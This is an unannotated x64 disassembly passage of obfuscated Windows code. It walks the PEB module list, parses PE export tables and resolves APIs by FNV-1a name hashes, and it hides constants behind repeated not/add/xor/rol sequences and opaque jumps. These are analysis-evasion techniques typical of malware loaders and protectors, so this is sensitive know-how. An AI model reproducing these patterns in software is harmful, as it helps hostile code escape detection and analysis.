mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
mov r8d, 0x8edd127a
pushf
not r8d
add r8d, 0xa8f1f0ba
xor r8d, 0x84c8d827
rol r8d, 0xe5
popf
pushf
not r8d
add r8d, 0x9edc7860
xor r8d, 0xc359b54c
rol r8d, 0xb1
popf
mov edx, eax
mov rcx, qword [rsp + 0x48]
call fcn.140161ab2
mov r8d, 0x53ed0322
pushf
not r8d
add r8d, 0xdbbaae41
xor r8d, 0xea3af278
rol r8d, 0x4a
popf
pushf
not r8d
add r8d, 0xd9640a14
xor r8d, 0xfffe705c
rol r8d, 0xc8
popf
mov edx, 0x2eb4c380
pushf
not edx
add edx, 0x8dc7fe53
xor edx, 0xb0eb3e8f
rol edx, 0xc1
popf
pushf
not edx
add edx, 0xd5a5319f
xor edx, 0xd5b528e3
rol edx, 0xf
popf
mov rcx, qword [rsp + 0x1d0]
call fcn.140161ab2
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x160], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x2e0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x2e8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x1c8], rax
push rax
pushf
mov eax, 0x4ea8785c
pushf
not eax
add eax, 0xd0702656
xor eax, 0x969fae23
rol eax, 6
popf
pushf
not eax
add eax, 0xa02b06fb
xor eax, 0xca2a1045
rol eax, 0x7f
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x1c8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0xc8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xc8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x2f8], rax
mov eax, 0xce9804ea
pushf
not eax
add eax, 0xa05b8fef
xor eax, 0x8b35b395
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xaa073ffc
xor eax, 0xb02e35e9
rol eax, 0x12
popf
pushf
not eax
add eax, 0xa97f6d9f
xor eax, 0x9122d9bf
rol eax, 5
popf
pushf
not eax
add eax, 0xbfb01696
xor eax, 0xc3763663
rol eax, 0x31
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x2f8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x270], rax
mov eax, dword [rsp + 0x270]
mov rcx, qword [rsp + 0xc8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x120], rax
mov eax, dword [rsp + 0x274]
mov dword [rsp + 0x128], eax
mov rax, qword [rsp + 0x118]
cmp qword [rsp + 0x120], rax
je 0x1400bd333
push rax
pushf
mov eax, 0xc5f3ac68
pushf
not eax
add eax, 0xdf854fdb
xor eax, 0x93f92920
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xcad00ee8
xor eax, 0x913af6c4
rol eax, 0x70
popf
pushf
not eax
add eax, 0xb9b7599c
xor eax, 0x87646d0e
rol eax, 0xe0
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x264fd3c3
pushf
not eax
add eax, 0x81df9930
xor eax, 0xe5dc5a67
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x976d4a5c
xor eax, 0xccd051fe
rol eax, 0x86
popf
jmp 0x1400bb942
mov dword [rsp + 0x80], 1
jmp 0x1400bd40d
mov dword [rsp + 0x80], 0
push rax
pushf
mov eax, 0x5f963ba7
pushf
not eax
add eax, 0x8fd7d63f
xor eax, 0xbb45448f
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xfe5cfb07
xor eax, 0xac47f155
rol eax, 0x59
popf
pushf
not eax
add eax, 0xe81f9d92
xor eax, 0xbabd24d9
rol eax, 0x89
popf
pushf
not eax
add eax, 0xb24f35f3
xor eax, 0xab37b75c
rol eax, 0x19
popf
jmp 0x1400bb942
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x27], al
movzx eax, byte [rsp + 0x27]
test eax, eax
je 0x1400bd459
push rax
pushf
mov eax, 0xf18a9980
pushf
not eax
add eax, 0xe19e9f78
xor eax, 0x8c586506
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xd91e5ac9
xor eax, 0xb2edda0a
rol eax, 0xf7
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xb8e8a950
pushf
not eax
add eax, 0xd60abc0c
xor eax, 0xbbe4951c
rol eax, 0x86
popf
pushf
not eax
add eax, 0xb0c6440c
xor eax, 0xbaecf0f4
rol eax, 2
popf
pushf
not eax
add eax, 0xdab170f3
xor eax, 0xc38a0599
rol eax, 0xf3
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x180], eax
mov eax, dword [rsp + 0x3c]
jmp 0x1400bd4be
dec eax
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x180], 0
je 0x1400bd505
push rax
pushf
mov eax, 0xc5b00a37
pushf
not eax
add eax, 0xcb5c6485
xor eax, 0xc23c5da6
rol eax, 0x75
popf
pushf
not eax
add eax, 0xe7bb3f38
xor eax, 0xea784d37
rol eax, 0x4f
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x7ead498
pushf
not eax
add eax, 0xa2d714ec
xor eax, 0xb0a5a5ac
rol eax, 0x11
popf
pushf
not eax
add eax, 0xc9ff72c0
xor eax, 0xfe011eb4
rol eax, 0x5e
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0x3dc]
mov dword [rsp + 0x84], eax
movabs rax, 0x63839f4dad42fe8e
pushf
not rax
add rax, 0x6a4614b4
xor rax, 0x77c92daa
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x5440318e
xor rax, 0x61c2de5e
rol rax, 3
popf
pushf
not rax
add rax, 0x5dc02b7f
xor rax, 0x5a434569
rol rax, 0x9f
popf
pushf
not rax
add rax, 0x6a9e71f4
xor rax, 0x765dea17
rol rax, 0x40
popf
shr rax, 0x20
mov dword [rsp + 0x84], eax
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x118]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x3c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x210], rax
movabs rax, 0xeea95d430d533bdb
pushf
not rax
add rax, 0x75352e47
xor rax, 0x7f4efc41
rol rax, 0xd
popf
pushf
not rax
add rax, 0x6a698bcd
xor rax, 0x712d183e
rol rax, 0x16
popf
mov ecx, 0xf73407bd
pushf
not ecx
add ecx, 0xb365dc08
xor ecx, 0xa7f6e3a9
rol ecx, 0x70
popf
pushf
not ecx
add ecx, 0xcef09396
xor ecx, 0xcc15b7ea
rol ecx, 0x6f
popf
pushf
not ecx
add ecx, 0xd56094ba
xor ecx, 0xbea1a3b0
rol ecx, 0xf5
popf
pushf
not ecx
add ecx, 0x96af08a6
xor ecx, 0xfd0a7552
rol ecx, 0xa5
popf
and rax, rcx
mov dword [rsp + 0x184], eax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x208], rax
mov eax, dword [rsp + 0x84]
mov dword [rsp + 0x5c], eax
mov rax, qword [rsp + 0x208]
movzx eax, byte [rax]
mov byte [rsp + 0x28], al
mov rax, qword [rsp + 0x208]
inc rax
mov qword [rsp + 0x208], rax
movzx eax, byte [rsp + 0x28]
mov byte [rsp + 0x21], al
movsx eax, byte [rsp + 0x21]
test eax, eax
jne 0x1400bd730
push rax
pushf
mov eax, 0x42b75c1b
pushf
not eax
add eax, 0xf5b8225a
xor eax, 0x83376506
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x81941fc6
xor eax, 0xdc2e83b7
rol eax, 7
popf
pushf
not eax
add eax, 0xc06da109
xor eax, 0xd9fd137a
rol eax, 0xa6
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x54298cc7
pushf
not eax
add eax, 0xfaf22510
xor eax, 0xa28a571e
rol eax, 0xc
popf
pushf
not eax
add eax, 0xc90fef0a
xor eax, 0xc4872520
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x889ea1a1
xor eax, 0xceabf552
rol eax, 0x66
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x188], eax
jmp 0x1400bd938
xor eax, eax
test eax, eax
je 0x1400bd7f2
push rax
pushf
mov eax, 0xe5aced15
pushf
not eax
add eax, 0x8fa0999f
xor eax, 0xc420b020
rol eax, 7
popf
pushf
not eax
add eax, 0xa1d995d4
xor eax, 0xb94b411d
rol eax, 0x6d
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x6ff76e76
pushf
not eax
add eax, 0xa2c046c6
xor eax, 0xf54088f6
rol eax, 0x65
popf
pushf
not eax
add eax, 0xbeb6664d
xor eax, 0xa620feac
rol eax, 0x27
popf
pushf
not eax
add eax, 0xfa4ea41f
xor eax, 0xb3f5c7f9
rol eax, 0xe1
popf
jmp 0x1400bb942
movsx eax, byte [rsp + 0x21]
or eax, 0x20
mov dword [rsp + 0x88], eax
jmp 0x1400bd8d1
movsx eax, byte [rsp + 0x21]
mov dword [rsp + 0x88], eax
push rax
pushf
mov eax, 0xf66afddb
pushf
not eax
add eax, 0xb634b318
xor eax, 0x99af1e67
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xc7fcb753
xor eax, 0xea8981f8
rol eax, 0x6b
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x5c]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x5c], eax
jmp 0x1400bd6b6
mov eax, dword [rsp + 0x184]
cmp dword [rsp + 0x188], eax
jne 0x1400bd98e
push rax
pushf
mov eax, 0xc5ae8102
pushf
not eax
add eax, 0xffdb61f9
xor eax, 0xe6bfeb9b
rol eax, 2
popf
pushf
not eax
add eax, 0xd05b0a4f
xor eax, 0xc0538e5c
rol eax, 3
popf
pushf
not eax
add eax, 0xa559ac53
xor eax, 0xb26f1cf6
rol eax, 0x5a
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x988ec7d3
pushf
not eax
add eax, 0xfa625c37
xor eax, 0xba35bcd2
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xd6839252
xor eax, 0xcf6a3f5c
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xbd98008f
xor eax, 0xb7a8d8e0
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xe992b8cc
xor eax, 0xac50fa3a
rol eax, 0x85
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x300], rax
mov eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x300]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x308]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0x160], rax
jmp 0x1400bdbd8
jmp 0x1400bd4ae
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov rax, qword [rax]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x1c8], rax
mov byte [rsp + 0x29], 1
movzx eax, byte [rsp + 0x29]
test eax, eax
jne 0x1400bdb40
push rax
pushf
mov eax, 0x477a90b2
pushf
not eax
add eax, 0xad13f77c
xor eax, 0xf5d85070
rol eax, 0x99
popf
pushf
not eax
add eax, 0xfcc225d6
xor eax, 0x89a86368
rol eax, 0xb2
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xac3fc305
pushf
not eax
add eax, 0xa32dd518
xor eax, 0xc80497f8
rol eax, 0xca
popf
pushf
not eax
add eax, 0xd0eff54f
xor eax, 0xa4d7b3a5
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xa6f3efae
xor eax, 0xa2d3ef00
rol eax, 0xfd
popf
jmp 0x1400bb942
mov qword [rsp + 0x160], 0
push rax
pushf
mov eax, 0xd9c2a3c9
pushf
not eax
add eax, 0x8253364d
xor eax, 0xaedb4be0
rol eax, 0x82
popf
pushf
not eax
add eax, 0xd79c844b
xor eax, 0xc113cff2
rol eax, 0x65
popf
pushf
not eax
add eax, 0xd832bd6d
xor eax, 0xfc5893dd
rol eax, 0xc9
popf
jmp 0x1400bb942
mov ecx, 0x80c3d280
pushf
not ecx
add ecx, 0xefff79df
xor ecx, 0xd9ca052c
rol ecx, 0xbd
popf
pushf
not ecx
add ecx, 0xffbc8201
xor ecx, 0xa022b396
rol ecx, 0x15
popf
pushf
not ecx
add ecx, 0xcf822e34
xor ecx, 0xc8b77e9d
rol ecx, 0x3e
popf
pushf
not ecx
add ecx, 0xc1143d09
xor ecx, 0x8026a101
rol ecx, 0xc6
popf
jmp 0x1400bdc32
call qword [rsp + 0x160]
mov qword [rsp + 0x328], 0
mov r8d, 0x5651c55e
pushf
not r8d
add r8d, 0x995564ba
xor r8d, 0xa29dbd14
rol r8d, 0xc0
popf
pushf
not r8d
add r8d, 0x9450aaed
xor r8d, 0xb2b2889c
rol r8d, 3
popf
lea rdx, [rsp + 0x328]
mov rcx, qword [rsp + 0x1d0]
call fcn.140081885
mov qword [rsp + 0xd0], 0
jmp 0x1400bdd45
mov rax, qword [rsp + 0xd0]
add rax, 0x1000
mov qword [rsp + 0xd0], rax
push rax
pushf
mov eax, 0x8754b35
pushf
not eax
add eax, 0xbbdbc266
xor eax, 0xcde636eb
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xab2cc100
xor eax, 0xd80764f8
rol eax, 0x37
popf
pushf
not eax
add eax, 0xc10f346b
xor eax, 0xa82f7bd9
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xa846997e
xor eax, 0xdc133ec3
rol eax, 0x6c
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
cmp qword [rsp + 0xd0], rax
jae 0x1400bdd8a
push rax
pushf
mov eax, 0x584d2280
pushf
not eax
add eax, 0xa44e9f25
xor eax, 0xd24f5320
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xbc3ef155
xor eax, 0xc9cd7468
rol eax, 0xfd
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xb9f36529
pushf
not eax
add eax, 0xa745744e
xor eax, 0xd6e8547a
rol eax, 0x50
popf
pushf
not eax
add eax, 0xf3e64290
xor eax, 0xecc36632
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xfaf2bebb
xor eax, 0x83ae0a6c
rol eax, 0x5c
popf
jmp 0x1400bb942
mov ecx, 0x402a0334
pushf
not ecx
add ecx, 0xa15473d1
xor ecx, 0xbdc5ddd6
rol ecx, 0xc9
popf
pushf
not ecx
add ecx, 0xfbe936dc
xor ecx, 0x944c09ee
rol ecx, 0xaa
popf
pushf
not ecx
add ecx, 0x83fa688f
xor ecx, 0xab091c6f
rol ecx, 0x44
popf
pushf
not ecx
add ecx, 0xecc8493f
xor ecx, 0xc665a8f1
rol ecx, 0x75
popf
jmp 0x1400bde2a
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x218], rax
mov rdi, qword [rsp + 0x218]
xor eax, eax
mov ecx, 0x4e047738
pushf
not ecx
add ecx, 0xf4182683
xor ecx, 0xaa5fdda8
rol ecx, 0xd6
popf
pushf
not ecx
add ecx, 0xb86d58e6
xor ecx, 0xf81e6ff6
rol ecx, 0x63
popf
pushf
not ecx
add ecx, 0xfcb9ea46
xor ecx, 0xf9b9b49a
rol ecx, 0xb8
popf
pushf
not ecx
add ecx, 0xa9991c0d
xor ecx, 0xd2547ac0
rol ecx, 0x47
popf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x48]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov r8d, 0x445d987
pushf
not r8d
add r8d, 0xe15c7561
xor r8d, 0xb48b9b14
rol r8d, 0x95
popf
pushf
not r8d
add r8d, 0xc9af46f4
xor r8d, 0xe19f21d2
rol r8d, 0x76
popf
pushf
not r8d
add r8d, 0x9ec613ce
xor r8d, 0xfe70ac81
rol r8d, 0xdc
popf
mov rdx, qword [rsp + 0x218]
mov rcx, rax
call fcn.140081885
jmp 0x1400bdcd6
mov r8d, 0x74bf9192
pushf
not r8d
add r8d, 0xc751d3af
xor r8d, 0xf633abcf
rol r8d, 0x8d
popf
pushf
not r8d
add r8d, 0x87ddc5dc
xor r8d, 0xb7e7deb2
rol r8d, 0xe9
popf
pushf
not r8d
add r8d, 0x81580611
xor r8d, 0x8a4f1cfb
rol r8d, 0xe1
popf
pushf
not r8d
add r8d, 0xd60011db
xor r8d, 0xf1120410
rol r8d, 0xa8
popf
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call fcn.140081885
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x150], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x330]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x338]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x158], rax
push rax
pushf
mov eax, 0xfd295353
pushf
not eax
add eax, 0xddb7817d
xor eax, 0xa5cf80c9
rol eax, 0x93
popf
pushf
not eax
add eax, 0xc4eb2543
xor eax, 0xa8908c11
rol eax, 0x46
popf
pushf
not eax
add eax, 0xdb3ca9e2
xor eax, 0xc91ee0a8
rol eax, 0x46
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x158]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0xd8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xd8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x348], rax
mov eax, 0xe878ca20
pushf
not eax
add eax, 0xac5d2b3e
xor eax, 0xc24f9d61
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xc9e0b36c
xor eax, 0xe9d35389
rol eax, 0xa3
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x348]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x220], rax
mov eax, dword [rsp + 0x220]
mov rcx, qword [rsp + 0xd8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x138], rax
mov eax, dword [rsp + 0x224]
mov dword [rsp + 0x140], eax
mov rax, qword [rsp + 0x130]
cmp qword [rsp + 0x138], rax
je 0x1400be18c
push rax
pushf
mov eax, 0x680356
pushf
not eax
add eax, 0xa5b5888b
xor eax, 0x8c7adb3e
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xb731750d
xor eax, 0xb02c6071
rol eax, 0x86
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x3834c3df
pushf
not eax
add eax, 0xcf84e15d
xor eax, 0xb9d6da02
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xd530759e
xor eax, 0x9a4cf25d
rol eax, 0x74
popf
pushf
not eax
add eax, 0xc89dbc0d
xor eax, 0xf4a99ff0
rol eax, 0x1c
popf
jmp 0x1400bb942
mov dword [rsp + 0x8c], 1
jmp 0x1400be279
mov dword [rsp + 0x8c], 0
push rax
pushf
mov eax, 0x6c4524b9
pushf
not eax
add eax, 0xff18123e
xor eax, 0xf184e255
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xb9491f83
xor eax, 0xd96a2a5a
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x946bfea1
xor eax, 0xcc123cbd
rol eax, 0x18
popf
pushf
not eax
add eax, 0x97c720ec
xor eax, 0x92ae37e1
rol eax, 0x8f
popf
jmp 0x1400bb942
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x2a], al
movzx eax, byte [rsp + 0x2a]
test eax, eax
je 0x1400be2d8
push rax
pushf
mov eax, 0x9b5001ce
pushf
not eax
add eax, 0xe9afb176
xor eax, 0xeb0a2426
rol eax, 0x24
popf
pushf
not eax
add eax, 0xd73071eb
xor eax, 0xd3afac89
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x89fa4263
xor eax, 0xa9a2fd19
rol eax, 0x93
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0x90075089
pushf
not eax
add eax, 0xe5a2d84a
xor eax, 0xcef69499
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xf86dfe90
xor eax, 0xfba04805
rol eax, 0x44
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x138]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x30]
jmp 0x1400be32a
dec eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x18c], 0
je 0x1400be371
push rax
pushf
mov eax, 0xc3a33ca9
pushf
not eax
add eax, 0xac1d4627
xor eax, 0x9d11bc9a
rol eax, 8
popf
pushf
not eax
add eax, 0x8b4b3c0f
xor eax, 0x8f955498
rol eax, 0x45
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xefcf30d1
pushf
not eax
add eax, 0xbedbaab2
xor eax, 0xeb504fa8
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xc6dbabff
xor eax, 0xc2502255
rol eax, 0x1b
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0x3d4]
mov dword [rsp + 0x90], eax
movabs rax, 0x329b72788d24d217
pushf
not rax
add rax, 0x43e49749
xor rax, 0x49a616c8
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x4c306693
xor rax, 0x4f0bbf76
rol rax, 0x8b
popf
shr rax, 0x20
mov dword [rsp + 0x90], eax
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x138]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x130]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x30]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x130]
mov qword [rsp + 0x228], rax
movabs rax, 0xa5107138d3fbcca5
pushf
not rax
add rax, 0x7c7b3168
xor rax, 0x7266968f
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x64634d56
xor rax, 0x68373d07
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x5bfc08cb
xor rax, 0x4adfe435
rol rax, 0x9e
popf
mov ecx, 0x3c25a76
pushf
not ecx
add ecx, 0xf435bd1a
xor ecx, 0xd76d8709
rol ecx, 3
popf
pushf
not ecx
add ecx, 0xcd01363b
xor ecx, 0x986ed63c
rol ecx, 0x88
popf
pushf
not ecx
add ecx, 0xd72f2358
xor ecx, 0x8dafb1b4
rol ecx, 1
popf
and rax, rcx
mov dword [rsp + 0x190], eax
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x168], rax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0x168]
movzx eax, byte [rax]
mov byte [rsp + 0x2b], al
mov rax, qword [rsp + 0x168]
inc rax
mov qword [rsp + 0x168], rax
movzx eax, byte [rsp + 0x2b]
mov byte [rsp + 0x22], al
movsx eax, byte [rsp + 0x22]
test eax, eax
jne 0x1400be55c
push rax
pushf
mov eax, 0x2cf3ca49
pushf
not eax
add eax, 0xcad30abe
xor eax, 0xbade4263
rol eax, 0x97
popf
pushf
not eax
add eax, 0xf9d7b17e
xor eax, 0xee5db0fc
rol eax, 0x71
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xdae75f76
pushf
not eax
add eax, 0xc1544e49
xor eax, 0xf9dc15e6
rol eax, 0xda
popf
pushf
not eax
add eax, 0xc04bfb20
xor eax, 0xee32a167
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xc54f774b
xor eax, 0xa21232e3
rol eax, 0x17
popf
pushf
not eax
add eax, 0xa6123218
xor eax, 0x8865c396
rol eax, 0xc4
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x194], eax
jmp 0x1400be7b0
xor eax, eax
test eax, eax
je 0x1400be67d
push rax
pushf
mov eax, 0x5787dfaf
pushf
not eax
add eax, 0xa16e3687
xor eax, 0x8cfee58c
rol eax, 0x67
popf
pushf
not eax
add eax, 0x9cb49ead
xor eax, 0xb39adb1b
rol eax, 0xef
popf
pushf
not eax
add eax, 0xb5512d92
xor eax, 0xce5fb54f
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xe2139991
xor eax, 0xe8ce6dd5
rol eax, 0xd6
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xbf507534
pushf
not eax
add eax, 0x974081bc
xor eax, 0xce748d77
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xbab223ca
xor eax, 0x9eaa6363
rol eax, 0xa8
popf
jmp 0x1400bb942
movsx eax, byte [rsp + 0x22]
or eax, 0x20
mov dword [rsp + 0x94], eax
jmp 0x1400be75c
movsx eax, byte [rsp + 0x22]
mov dword [rsp + 0x94], eax
push rax
pushf
mov eax, 0xa40b981e
pushf
not eax
add eax, 0x8d2819d5
xor eax, 0xdde528ec
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xc0a7bb60
xor eax, 0xbeb45cc7
rol eax, 0x98
popf
pushf
not eax
add eax, 0xbae138e6
xor eax, 0xbed98efe
rol eax, 0x55
popf
pushf
not eax
add eax, 0xcf03fb90
xor eax, 0xda90c5c4
rol eax, 0x94
popf
jmp 0x1400bb942
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0x60]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x60], eax
jmp 0x1400be4f5
mov eax, dword [rsp + 0x190]
cmp dword [rsp + 0x194], eax
jne 0x1400be7f3
push rax
pushf
mov eax, 0x63d09014
pushf
not eax
add eax, 0x810c6547
xor eax, 0xc83ba2b3
rol eax, 0x76
popf
pushf
not eax
add eax, 0xcdf5dbd3
xor eax, 0xad809bbb
rol eax, 0x82
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xef835fe6
pushf
not eax
add eax, 0xbaee21ba
xor eax, 0xef5f3d55
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x9471f608
xor eax, 0xd1ba5036
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xf072e50f
xor eax, 0x89f77c1d
rol eax, 0xa5
popf
jmp 0x1400bb942
mov rax, qword [rsp + 0x138]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x130]
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x138]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x130]
mov qword [rsp + 0x350], rax
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x350]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x358]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x130]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x150], rax
jmp 0x1400bea75
jmp 0x1400be31a
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x368]
mov rax, qword [rax]
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x158], rax
mov byte [rsp + 0x2c], 1
movzx eax, byte [rsp + 0x2c]
test eax, eax
jne 0x1400be9de
push rax
pushf
mov eax, 0x59f95712
pushf
not eax
add eax, 0xca1764d0
xor eax, 0x8a78d08d
rol eax, 0x14
popf
pushf
not eax
add eax, 0xef2394da
xor eax, 0x85ef5f46
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x88898366
xor eax, 0xa6b6ec5e
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xdafb23e5
xor eax, 0x93565c24
rol eax, 0x97
popf
jmp 0x1400bb942
push rax
pushf
mov eax, 0xcc93b3f6
pushf
not eax
add eax, 0xbb565879
xor eax, 0x9a047568
rol eax, 1
popf
pushf
not eax
add eax, 0x923e5653
xor eax, 0x8e639cb0
rol eax, 0x4c
popf
pushf
not eax
add eax, 0x9e3356dc
xor eax, 0xfe6a6281
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xd57ec649
xor eax, 0xe2d94346
rol eax, 0xa0
popf
jmp 0x1400bb942
mov qword [rsp + 0x150], 0
push rax
pushf
mov eax, 0x77ac196b
pushf
not eax
add eax, 0xb2e072a5
xor eax, 0xe94ec07e
rol eax, 0x86
popf
pushf
not eax
add eax, 0x95b3b4bb
xor eax, 0xf70c8ac6
rol eax, 0x35
popf
jmp 0x1400bb942
mov ecx, 0x52649a0e
pushf
not ecx
add ecx, 0xded56027
xor ecx, 0xee274850
rol ecx, 0x90
popf
pushf
